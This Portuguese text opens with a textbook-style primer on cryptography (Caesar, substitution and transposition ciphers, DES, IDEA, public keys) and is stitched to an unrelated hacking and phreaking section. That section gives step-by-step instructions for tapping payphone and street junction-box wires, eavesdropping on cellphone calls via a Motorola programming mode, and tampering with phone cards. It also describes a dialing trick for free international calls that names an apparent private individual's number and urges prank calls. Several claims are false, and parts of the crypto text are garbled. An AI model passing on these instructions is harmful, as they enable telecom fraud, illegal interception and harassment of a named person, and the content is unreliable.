Historicamente, quatro grupos de pessoas utilizaram e contribuíram para a arte da criptografia: os militares, os diplomatas, as pessoas que gostam de guardar memórias e os amantes. Dentre eles, os militares tiveram o papel mais importante e definiram as bases para a tecnologia. Dentro das organizações militares, tradicionalmente as mensagens a serem cifradas são entregues a auxiliares mal pagos que se encarregam de criptografá-las e transmiti-las. O grande volume de mensagens impedia que esse trabalho fosse feito por poucos especialistas.

Até o advento dos computadores, uma das principais restrições da criptografia era a habilidade do auxiliar de criptografia fazer as transformações necessárias, em geral com poucos equipamentos e no campo de batalha. Uma outra restrição era a dificuldade de alternar os métodos criptográficos rapidamente, pois isso exigia a repetição do treinamento de um grande número de pessoas. No entanto, o perigo de um auxiliar de criptografia ser capturado pelo inimigo tornou indispensável a possibilidade de alterar o método criptográfico instantaneamente, se necessário.

A criptografia funciona do seguinte modo: as mensagens a serem criptografadas, conhecidas como texto simples, são transformadas por uma função que é parametrizada por uma chave. Em seguida, a saída do processo de criptografia, é conhecida como texto cifrado.

A arte de criar mensagens cifradas (criptografia) e solucioná-las (criptoanálise) é coletivamente chamada de criptologia (criptology).

Será sempre útil e prático ter uma notação para estabelecer uma relação entre o texto simples, o texto cifrado e as chaves. Utilizaremos $C = E_K(P)$ para denotar que a criptografia do texto simples ‘P’ usando a chave ‘K’ gera o texto cifrado ‘C’. da mesma forma, $P = D_K(C)$ representa a decriptografia de ‘C’ para obter-se o texto simples outra vez. Em seguida temos:

$$D_K(E_K(P)) = P$$

Essa notação sugere que ‘E’ e ‘D’ são simplesmente funções matemáticas, o que é verdade. A única parte complicada é que ambas são funções de dois parâmetros, e

escrevemos um desses parâmetros (a chave) como um caractere subscrito, em vez de como um argumento, para distingui-lo da mensagem.

Uma regra fundamental da criptografia é que se deve assumir que o analista especializado conheça o método genérico de criptografia que é utilizado. Em outras palavras, o criptoanalista sabe como funciona o método de criptografia, 'E'. O esforço necessário para inventar, testar e instalar um novo método a cada que o antigo é (supostamente) comprometido sempre dificultou a manutenção deste segredo.

É nesse ponto que a chave entra. A chave consiste em um string (relativamente) curto que seleciona uma das muitas possíveis formas de criptografia. Ao contrário do método genérico, que só pode ser modificado de anos em anos, a chave pode ser alterada sempre que necessário. Portanto, nosso modelo básico é um método genérico publicamente conhecido, parametrizado com uma chave secreta que pode ser alterada com facilidade.

Não é possível enfatizar o caráter não-sigiloso do algorítimo. Ao tornar o algorítimo público, o especialista em criptografar se livra de consultar inúmeros de criptólogos ansiosos por decodificar o sistema para que possam publicar artigos demonstrando sua esperteza e inteligência. Caso muitos especialistas tenham tentado decodificar o algorítimo durante cinco anos após a sua publicação e nenhum tenha tido sucesso, isso provavelmente significa que o algorítimo seja muito bom.

Na verdade o sigilo está na chave, e seu tamanho é uma questão muito importante do projeto. Considere que uma combinação esteja bloqueada. O princípio geral é o de que você informa os dígitos seqüencialmente. Todo mundo sabe disso, mas a chave é secreta. Uma chave com o tamanho de dois dígitos permite 100 combinações , e uma chave com seis dígitos significa um milhão de combinações. Quanto maior for a chave, mais alto será o fator de trabalho (work factor) com que o criptoanalista terá de lidar. O fator de trabalho para decodificar o sistema através de uma exaustiva pesquisa no espaço da chave é exponencial em relação ao tamanho da chave. O sigilo é decorrente da presença de um algorítimo eficaz (mas público) e de uma chave longa. Para impedir que o seu irmãozinho leia as suas mensagens de correio eletrônico, serão necessárias chaves de 64 bits. Para manter o governo de outros países à distância, são necessárias chaves de pelo menos 256 bits.

Do ponto de vista do criptoanalista, o problema de criptoanálise apresenta três variações principais. Quando tem um determinado volume de texto cifrado mas nenhum texto simples, o analista é confrontado com o problema de haver somente texto cifrado (ciphertext only). Os criptogramas da seção de palavras cruzadas do jornal são um exemplo desse tipo de problema. Quando há uma correspondência entre o texto cifrado e o texto simples, o problema passa a ser chamado de texto simples conhecido (known plain text). Por fim, quando o criptoanalista tem a possibilidade de codificar trechos do texto simples escolhidos por ele mesmo, temos o problema do texto simples escolhidos (chosen plaintext). Os criptogramas dos jornais poderiam ser trivialmente decodificados se o criptoanalista tivesse a permissão de fazer perguntas tais como: Qual é a criptografia para ABCDE?

Com freqüência, os novatos na área de criptografia pressupõem que se uma condição puder resistir a uma estratégia de texto cifrado, isso significa que ela é segura. Essa suposição é muito ingênua. Em muitos casos, o criptoanalista pode fazer uma estimativa com base em trechos do texto simples. Por exemplo, a primeira mensagem que muitos sistema de tempo compartilhado emite quando você o chama é: “POR FAVOR, ESTABELEÇA O LOGIN”. Equipado com alguns pares do texto simples / texto cifrado, o trabalho do criptoanalista se torna muito mais fácil. Para obter segurança, o autor da criptografia deve ser conservador e se certificar de que o sistema seja inviolável mesmo que seu oponente seja capaz de criptografar o texto simples escolhido.

Historicamente, os métodos de criptografia têm sido divididos em duas categorias : as cifras de substituição e as cifras de transposição. Em seguida, trataremos de cada uma destas técnicas como informações básicas para a criptografia moderna.

Cifras de Substituição

Em uma cifra de substituição (substitution ciphers), cada letra ou grupo de letras é substituído por outra letra ou grupo de letras, de modo a criar um “disfarce”. Uma das cifras mais antigas conhecidas é a cifra de César. Nesse modo, ’a’ passa a ser ‘D’, ‘b’ torna-se ‘E’, ‘c’ passa a ser ‘F’ e assim por diante. Por exemplo, ‘attack’ passaria a ser

‘DWWDFN’. Nestes exemplos, o texto simples é apresentado em letras minúsculas e o texto cifrado em maiúsculas.

Uma ligeira generalização da cifra de César permite que o alfabeto do texto cifrado seja deslocado ‘k’ letras, em vez de 3. Neste caso ‘k’ passa a ser uma chave para o método genérico dos alfabetos deslocados circularmente. A cifra de César pode ter enganado os cartagineses, mas não enganou ninguém desde então.

O próximo aprimoramento é fazer com que cada um dos símbolos do texto simples, digamos 26 letras, seja mapeado para alguma outra letra.

Texto simples:	a b c d e f g h i j k l m n o p q r s t u v w x y z
Texto cifrado:	Q W E R T Y U I O P A S D F G H J K L Z X C V B N M

Este sistema geral é chamado de substituição monoalfabética, sendo a chave o string de 26 letras correspondente ao alfabeto completo. Para a chave anterior, o texto ‘attack’ seria transformado no texto cifrado ‘QZZQEA’.

A primeira vista, talvez este sistema pareça seguro ,pois apesar de conhecer o sistema genérico (substituição de letra por letra), o criptoanalista não sabe quais das 26! (aproximadamente $4x10^{26}$) chaves possíveis estão em uso. Ao contrário do que acontece com a cifra de César, experimentar todas elas não é uma estratégia muito interessante. Mesmo a 1μs por solução, um computador levaria 10^{13} anos para experimentar todas as chaves.

Todavia, com um volume de texto cifrado surpreendentemente pequeno, a cifra pode ser descoberta com facilidade. A estratégia básica se beneficia das propriedades estatística dos idiomas.

Outra estratégia é adivinhar uma palavra ou frase provável, nos EUA por exemplo, uma palavra muito provável em uma mensagem de uma empresa de contabilidade é ‘financial’. Utilizando o nosso conhecimento de que ‘financial’ tem três caracteres repetidos (‘n’, ‘i’ e ‘a’), com outras letras entre suas ocorrências, estamos procurando letras repetidas no texto com esse espaço entre elas. Desse ponto em diante, fica fácil deduzir a chave utilizando a estatística de freqüência para o texto em inglês.

Cifras de Transposição

As cifras de substituição disfarçam a ordem dos símbolos no texto simples, apesar de preservarem sua ordem. Por outro as cifras de transposição (transposition ciphers) reordenam as letras, mas não as disfarçam. A figura abaixo mostra uma cifra de transposição muito comum, a transposição de colunas. A cifra se baseia em uma chave que é uma palavra ou frase contendo letras repetidas. Nesse exemplo, MEGABUCK é a chave. O objetivo da chave é numerar colunas de modo que a coluna 1 fique abaixo da letra da chave mais próxima do início do alfabeto, e assim por diante. O texto simples é escrito horizontalmente, em linhas. O texto cifrado é lido em colunas, a partir daquela cuja letra da chave seja mais baixa.

M	E	G	A	B	U	C	K
7	4	5	1	2	8	3	6
p	l	e	a	s	e	t	r
a	n	s	f	e	r	o	n
e	m	i	l	l	i	o	n
d	o	l	l	a	r	s	t
o	m	y	s	w	i	s	s
b	a	n	k	a	c	c	o
u	n	t	s	i	x	t	w
o	t	w	o	a	b	c	d

Texto simples:
pleasetransferonemilliondollarsto
myswissbankaccountsixtwotwo

Texto cifrado:
AFLLSKSOSELAWAIATOOSSCTCLNMOMMANT
ESILYNTWRNNTSOWDPAEDOBUOERIRICXB

Para romper uma cifra de transposição, o criptoanalista deve primeiro estar ciente de que está lidando com uma cifra de transposição.

A próxima etapa é fazer uma perspectiva do número de colunas. Em muitos casos, uma palavra ou frase provável pode ser deduzida através do contexto da mensagem.

A última etapa é ordenar as colunas. Quando o número de colunas , ‘k’, é pequeno, cada um dos pares de colunas k(k-1) pode ser examinado para que seja constatado se suas freqüências de diagrama correspondem às do texto simples em inglês. O par que tiver a melhor correspondência será considerado como posicionado da forma correta. Em seguida, cada uma das colunas restantes é experimentada como sucessora deste par. A coluna cujas freqüências de diagramas e trigramas proporcione a melhor correspondência será experimentalmente considerada como correta.

Criptografia Moderna

DES

Em janeiro de 1977, o governo dos Estados Unidos adotou uma cifra de produto desenvolvida pela IBM como seu padrão oficial para informações não-confidenciais. A cifra, DES (Data Encryption Standard), foi largamente adotada pelo setor de informática para uso de produtos de segurança. Em sua forma original, ela já não é tão segura; no entanto se modificada ela ainda pode ser útil. Agora explicaremos como o DES funciona.

O DES é basicamente uma cifra de substituição monoalfabética que utiliza um caractere de 64 bits. Sempre que o mesmo bloco de texto cifrado de 64 bits é submetido ao processo, obtém-se o mesmo bloco de texto cifrado em 64 bits. Um criptoanalista pode explorar essa propriedade para ajudá-lo a decifrar o DES.

Para vermos como essa propriedade da cifra de substituição monoalfabética pode ser usada para subverter o DES, consideraremos a criptografia de uma longa mensagem de maneira mais óbvia: através de sua divisão em blocos consecutivos de 8 bytes (64 bits) e de sua decodificação um após o outro com a mesma chave. O último bloco volta a ter 64 bits, se necessário. Essa técnica é chamada de modo do livro de código eletrônico (electronic code book mode).

IDEA

O IDEA foi projetado por dois pesquisadores na Suíça. Ele utiliza uma chave de 128 bits, que o tornará imune à qualquer técnica ou máquina conhecida atualmente.

A estrutura básica do algoritmo se assemelha à do DES no que diz respeito ao fato dos blocos de entrada de texto simples de 64 bits serem deturpados em uma seqüência de interações parametrizadas para produzir blocos de saída de texto cifrado com 64 bits. Devido à extensiva deturpação dos bits (em cada iteração, cada bit de saída depende de cada bit de entrada), são necessárias oito interações.

Algorítimos de chave pública

Historicamente, o problema da distribuição de chaves sempre foi o ponto fraco da maioria dos sistemas de criptografia. Mesmo sendo sólido, se um intruso pudesse roubar a chave, o sistema acabaria se tornando inútil. Como todos os criptólogos sempre presumem

que a chave de criptografia e a chave de decriptografia são iguais (ou facilmente derivadas uma da outra) e que a chave seja distribuída a todos os usuários do sistema, tinha-se a impressão de que havia um problema embutido inerente: as chaves tinham de ser protegidas contra roubo, mas também tinham de ser distribuídas; portanto, elas não podiam ser simplesmente trancadas no caixa-forte de um banco.

Em 1976, dois pesquisadores da Universidade de Stanford, Diffie e Hellman (1976), propuseram um sistema de criptografia radicalmente novo, no qual as chaves de criptografia e de decriptografia eram diferentes e a chave de decriptografia não podia ser derivada da chave de criptografia. Em sua proposta, o algorítimo de criptografia (chaveado), E, e o algorítimo de decriptografia (chaveado), D, tinham de atender a três requisitos, que podem ser declarados da seguinte forma:

1. D(E(P)) = P.
2. É excessivamente difícil deduzir D de E.
3. E não pode ser decifrado através do ataque de texto simples escolhido.

O primeiro requisito diz que se aplicarmos D a uma mensagem criptografada, E(P), obteremos a mensagem de texto simples original P, outra vez. O segundo é auto-explicativo. O terceiro é necessário porque, como veremos em um minuto, os intrusos podem experimentar o algoritmo até se cansarem. Sob essas condições, não há razão para a chave criptográfica não se tornar pública.

O método funciona da seguinte forma: Uma pessoa, desejando receber mensagens secretas, primeiro cria dois algoritmos, E_A e D_A, que atendem aos requisitos mostrados anteriormente. O algoritmo de criptografia e a chave, E_A, se tornam públicos, daí o nome criptografia com chave pública – public key criptography (para diferenciá-la da criptografia tradicional com chave secreta). Isso pode ser feito colocando-se a chave em um arquivo que todos os interessados possam ler. Essa pessoa publica o algoritmo de decriptografia (para obter a consultoria grátis), mas mantém a chave de decriptografia secreta. Assim, E_A é pública, mas D_A é privada.

Talvez seja interessante fazer uma observação sobre terminologia. A criptografia com chave pública exige que cada usuário tenha duas chaves: uma chave pública, que é

usada pelo mundo inteiro para criptografar as mensagens a serem enviadas para esse usuário, e uma chave privada, que o usuário utiliza para decriptografar mensagens.

Métodos de invasão

Hacker:

Quebrando Senhas

Cavalo de Tróia

O hacker infiltra em seu alvo um programa semelhante a um vírus. Mas, em lugar de destruir programas e arquivos, ele tem a função de descobrir senhas. O cavalo de Tróia pode ser enviado escondido numa mensagem na Internet ou num disquete que o hacker passa, com jogos ou outros programas, para usuários do computador que quer invadir. Cada vez que o usuário escreve nome e senha, o cavalo de Tróia grava os dados. Como é programado para se conectar com seu criador, por meio do modem, em dia e hora marcados, ele transmite os dados que copiou. Elementar, para quem conhece muito bem as linguagens de computador.

Farejamento de redes

Para acelerar a sua transmissão, os dados que entram nas redes, provenientes de vários computadores, são agrupados em pacotes. O hacker cria programas farejadores que monitoram a circulação desses pacotes nas redes e procuram neles palavras como password e senha. Quando as encontra, o programa copia o pacote e o envia para o computador do hacker. Os dados chegam codificados, mas isso não é problema para ele, que, em geral conhece bem criptografia, o conjunto de técnicas que permite codificar dados.

Engenharia social

É uma espécie de espionagem. Senhas com datas de nascimento, sobrenome ou nome dos filhos são muito comuns. Se o hacker tiver acesso a essas informações do usuário, vai tentá-las, como primeira opção, para descobrir sua senha. Alguns chegam a

arrumar emprego temporário na empresa que pretendem invadir. Lá dentro, prestam atenção nos computadores. Ninguém cobre o teclado na hora de digitar a senha. Mesmo que tenha alguém por perto. Esse alguém pode ser um hacker.

Quebra-cabeça

Um jeito simples de desvendar senhas é a velha tentativa e erro. Para isso, o hacker cria programas capazes de montar todo tipo de combinação de letras e números. O sistema funciona bem para senhas de até seis caracteres. O processo pode levar muito tempo, porque as tentativas precisam ser feitas em períodos curtos, com grandes intervalos (dias, se for possível) entre um e outro, para não despertar suspeitas. No Brasil é um método muito difundido, pois as senhas em geral são simples e dificilmente os computadores possuem sistema de proteção.

Phreaker:

Fraudando orelhões com um aparelho comum

Primeiro você deve arrumar um telefone comum bem pequeno e compacto. Depois você tem que descascar os fios dele (vão dar em 2 fios). Então arrume um bom alicate, estilete ou faca e vá até um orelhão.

Descasque os fios do orelhão pegue os dois fios descascados do orelhão e entrelace com os dois fios do seu telefone, observe a polarização, ou seja se o seu telefone portátil ficar sem linha inverta a posição dos fios telefônicos, pois, ao contrário do que muita gente pensa o orelhão tem fio negativo e positivo. Agora é só efetuar a ligação de seu telefone comum...

Fraude a orelhões através de notebook

O processo para se conectar notebooks a orelhões, é igual ao de se conectar telefones comuns.

Resumirei nesse item, algumas considerações a respeito da fiação do notebook, que segue os padrões da FCC Americana e é um pouco diferente da nossa.

O conector do fio do notebook, é do tipo ‘jack’, tem quatro fios dentro dele. Arranque o conector de plástico transparente que fica na ponta do fio, pegue os dois fios centrais e separe-os dos fios das extremidades.

Estes dois fios centrais, são os que serão utilizados para fazer a ligação no orelhão. Eu aconselho que você coloque jacarés neles (pequeno gancho achado em qualquer loja de componentes eletrônicos).

Basta conectar-se a BBS's da mesma forma que você se conecta em casa. Caso você queira testar se está tudo ok, abra um programa de terminal qualquer e digite ATA, se fizer um barulhinho parecido com o tom de linha está tudo OK.

Fraude em caixa de verificação

As caixas de verificação (ou armários na linguagem "técnica" da TELESP) são caixas de ferro, que geralmente ficam localizadas em vias públicas, e são utilizadas para se fazer a checagem das linhas telefônicas e detectar problemas antes que chegue a central. Tais caixas costumam ser da cor cinza e tem cerca de 1,5 m de altura, com um código em preto escrito na parte superior.

Para fazer tal tipo de fraude, basta, que você pegue um das dezenas de pares de fios que se encontram lá e entrelace nos 2 fios de seu telefone portátil, cujo qual estará com seus fios descascados. Observe também a polarização. Vale lembrar que você não deve destruir a caixa para abri-la, se é que ela já não esteja arrombada.

Fraude com aparelho celular

O sistema de telefonia celular é altamente vulnerável a escutas. É simples se fazer escutas telefônicas, e outras coisas como: clonagem de telefones para se efetuar ligações gratuitas, etc. Se você duvida, pegue um celular como o famoso e numeroso PT-550 da Motorola.

Tire a bateria do celular e note que ha' três encaixes metálicos atras do aparelho. Coloque um pedaço de papel laminado no encaixe do meio e recoloque a bateria. Ligue o telefone (ele esta agora no modo de programação) e digite:

08 # 11 XXXX

Onde:

#08 Liga o áudio de RS (Receptor) #11 Ajusta canal de funcionamento do transreceptor XXXX numero do canal (aconselho a você tentar números abaixo de 800)

Exemplo:

#08#11567#

Tente ate encontrar um canal onde haja conversa. Você esta fazendo uma escuta em um telefone celular. Não requer pratica nem tão pouco habilidade.

Ligando em orelhões à cartão sem pagar:

Enganando o telefone público

Bote o cartão , assim que a pessoa falar ALÔ! segure o numero 9 e retire o cartão ,fique segurando o numero 9 até acabar de falar!

Grafite

O grafite é um material super condutor que conduz energia, e o cartão funciona assim , ele tem uns 50 fusíveis, cada ligação gasta ele queima um fusível, então o nosso amigo grafite que é condutor de eletricidade, não deixa queimar os fusíveis então faça o seguinte atras do cartão,(na parte cinza) rabisque-a com força e ,bote no telefone publico e pronto ,mas lembre-se rabisque com força!

Esmalte de unha incolor

O esmalte impede que esses fusíveis queimem, faça também esse com os cartões de vídeo game. Passe esmalte na parte de traz do cartão ,e no de vídeo game passe na parte da fita magnética! se você sabe mais uma dica mande para mim! pode ter seu nome e seu e-mail aqui! Pegue o cartão telefônico ZERADO dai bote ele de molho na água cândida, depois de 3 ou 4 dias a tinta do cartão vai sair , depois pegue papel alumínio e cubra as partes metálicas com o papel alumínio , dai as ligações virarão infinitas!

Ligação internacional gratuita

Para fazer uma ligação internacional, todos sabem que é muito fácil ligar, mas pagar que é o problema.

Durante esses anos muitos vêm acessando BBS estrangeiras usando boxes para não pagar a ligação.

Com o que vamos ensinar agora, você vai poder ligar para qualquer lugar do mundo pagando um impulso normal sem usar nenhum programa além do seu dial.

O sistema é o seguinte: O número da linha para onde você vai ligar é 316-433-9418, nos EUA. Como você está no Brasil e

vai ligar para os EUA você deve discar então 01 316-433-9418 (Vai pagar uma nota se fizer assim !). O que você deve fazer é usar um código de área que vai confundir os aparelhos da EMBRATEL, e esse código é 0008.

Vamos detalhar tudo:

Para enganar, você deve discar 0008 01 316-433-9418.

0 Ao discar o primeiro 0, a EMBRATEL vai pensar que é um procedimento normal e não vai dar nenhuma mensagem.

0 Ao discar o segundo zero a EMBRATEL vai tentar localizar um país que tenha como código de área 00. Não vai encontrar nenhum, mas como você vai ser rápido e discar o terceiro zero antes da mensagem poder ser passada para você. Aí você vai pensar... "Mesmo depois que eu já tiver discado o terceiro número ela vai me dar a mensagem do segundo zero. "Não é verdade, pois os computadores estarão ocupados tentando localizar o terceiro zero e não terão mais tempo de mandar a mensagem.

0 Ao discar o terceiro zero os computadores da EMBRATEL já estarão totalmente doidos com os zeros que você estará discando. Lembre-se que você tem que ser rápido ao discar, pois se você demorar, as mensagens que ainda não apareceram, provavelmente vão aparecer.

8 Ao discar o oito você estará mostrando aos computadores da Embratel que estarão perdidos que você está querendo fazer uma ligação internacional.

0 Mais um zero para deixar os computadores realmente perdidos.

1 Código de área dos Estados Unidos. Pode ser trocado por qualquer outro código de qualquer outro país.

316-433-9418 Número da casa de um coitado aí qualquer. Se quiserem se divertir passem uns trotes para ele.... Em inglês claro !